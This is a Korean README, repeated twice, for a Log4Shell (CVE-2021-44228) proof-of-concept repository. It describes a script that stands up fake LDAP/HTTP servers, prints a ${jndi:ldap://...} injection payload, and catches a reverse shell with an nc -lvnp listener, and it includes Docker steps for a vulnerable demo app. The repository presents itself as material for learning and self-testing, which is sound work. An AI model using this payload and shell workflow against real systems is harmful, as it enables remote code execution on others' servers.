
CVE-2021-44228 (Log4Shell)에 대한 개념 증명 익스플로잇으로, 자동화된 LDAP/HTTP 서버 설정과 리버스 셸 페이로드 생성을 포함하며 교육용 테스트를 목적으로 합니다.
최근 발견된 CVE-2021-44228 취약점에 대한 개념 증명(PoC)입니다.
최근 log4j(Java 로깅 라이브러리)에서 새로운 취약점이 발견되었습니다. 이 라이브러리는 Elasticsearch, Minecraft 등 많은 곳에서 널리 사용됩니다.
이 저장소에는 취약한 예제 애플리케이션과 이에 대한 개념 증명(PoC) 익스플로잇이 포함되어 있습니다.
PoC로 프로세스를 자동화하는 Python 파일이 있습니다.
pip install -r requirements.txt
nc -lvnp <netcat-port=예시=2034>
jdk1.8.0_20이어야 하며, 동일한 디렉터리에 있어야 합니다.$ python3 poc.py --userip <사용자-ip-주소> --webport <웹-서버-포트=기본값=8000> --lport <netcat-수신-포트=기본값=2034>
[!] CVE: CVE-2021-44228
[+] 익스플로잇 Java 클래스 생성 성공
[+] 가짜 LDAP 서버 설정 중
[+] 다음을 보내세요: ${jndi:ldap://<사용자-ip-주소>:1389/a}
0.0.0.0:1389에서 수신 중
이 스크립트는 HTTP 서버와 LDAP 서버를 자동으로 설정하며, 취약한 매개변수에 붙여넣을 페이로드도 생성합니다. 이후 모든 것이 정상적으로 진행되면 lport에서 셸을 얻을 수 있습니다.
취약한 웹 애플리케이션이 포함된 Dockerfile이 있습니다. 아래 단계에 따라 사용할 수 있습니다:
1: docker build -t log4j-shell-poc .
2: docker run -p 8080:8080 log4j-shell-poc
실행이 완료되면 localhost:8080에서 접속할 수 있습니다.
참고: 패키지를 다운로드하려면 계정이 필요합니다.
아카이브를 다운로드하고 추출한 후, jdk1.8.0_20/bin에서 java 및 관련 바이너리를 찾을 수 있습니다.
참고: 작동하려면 jdk 폴더를 동일한 이름으로 이 저장소에 추출해야 합니다.
❯ ./jdk1.8.0_20/bin/java -version
java version "1.8.0_20"
Java(TM) SE Runtime Environment (build 1.8.0_20-b26)
Java HotSpot(TM) 64-Bit Server VM (build 25.20-b23, mixed mode)
이 저장소는 CVE-2021-44228에 대한 원클릭 익스플로잇을 제공하기 위한 것이 아닙니다. 이 프로젝트의 목적은 사람들이 이 취약점에 대해 배우고, 자신의 애플리케이션을 테스트하는 데 도움을 주기 위함입니다(단, 이 목적에는 더 나은 애플리케이션이 있습니다. 예: https://log4shell.tools/).# log4j-shell-poc
최근 발견된 CVE-2021-44228 취약점에 대한 개념 증명(PoC)입니다.
최근 log4j(Java 로깅 라이브러리)에서 새로운 취약점이 발견되었습니다. 이 라이브러리는 Elasticsearch, Minecraft 등 많은 곳에서 널리 사용됩니다.
이 저장소에는 취약한 예제 애플리케이션과 이에 대한 개념 증명(PoC) 익스플로잇이 포함되어 있습니다.
PoC로 프로세스를 자동화하는 Python 파일이 있습니다.
pip install -r requirements.txt
nc -lvnp <netcat-port=예시=2034>
jdk1.8.0_20이어야 하며, 동일한 디렉터리에 있어야 합니다.$ python3 poc.py --userip <사용자-ip-주소> --webport <웹-서버-포트=기본값=8000> --lport <netcat-수신-포트=기본값=2034>
[!] CVE: CVE-2021-44228
[+] 익스플로잇 Java 클래스 생성 성공
[+] 가짜 LDAP 서버 설정 중
[+] 다음을 보내세요: ${jndi:ldap://<사용자-ip-주소>:1389/a}
0.0.0.0:1389에서 수신 중
이 스크립트는 HTTP 서버와 LDAP 서버를 자동으로 설정하며, 취약한 매개변수에 붙여넣을 페이로드도 생성합니다. 이후 모든 것이 정상적으로 진행되면 lport에서 셸을 얻을 수 있습니다.
취약한 웹 애플리케이션이 포함된 Dockerfile이 있습니다. 아래 단계에 따라 사용할 수 있습니다:
1: docker build -t log4j-shell-poc .
2: docker run -p 8080:8080 log4j-shell-poc
실행이 완료되면 localhost:8080에서 접속할 수 있습니다.
참고: 패키지를 다운로드하려면 계정이 필요합니다.
아카이브를 다운로드하고 추출한 후, jdk1.8.0_20/bin에서 java 및 관련 바이너리를 찾을 수 있습니다.
참고: 작동하려면 jdk 폴더를 동일한 이름으로 이 저장소에 추출해야 합니다.
❯ ./jdk1.8.0_20/bin/java -version
java version "1.8.0_20"
Java(TM) SE Runtime Environment (build 1.8.0_20-b26)
Java HotSpot(TM) 64-Bit Server VM (build 25.20-b23, mixed mode)
이 저장소는 CVE-2021-44228에 대한 원클릭 익스플로잇을 제공하기 위한 것이 아닙니다. 이 프로젝트의 목적은 사람들이 이 취약점에 대해 배우고, 자신의 애플리케이션을 테스트하는 데 도움을 주기 위함입니다(단, 이 목적에는 더 나은 애플리케이션이 있습니다. 예: https://log4shell.tools/).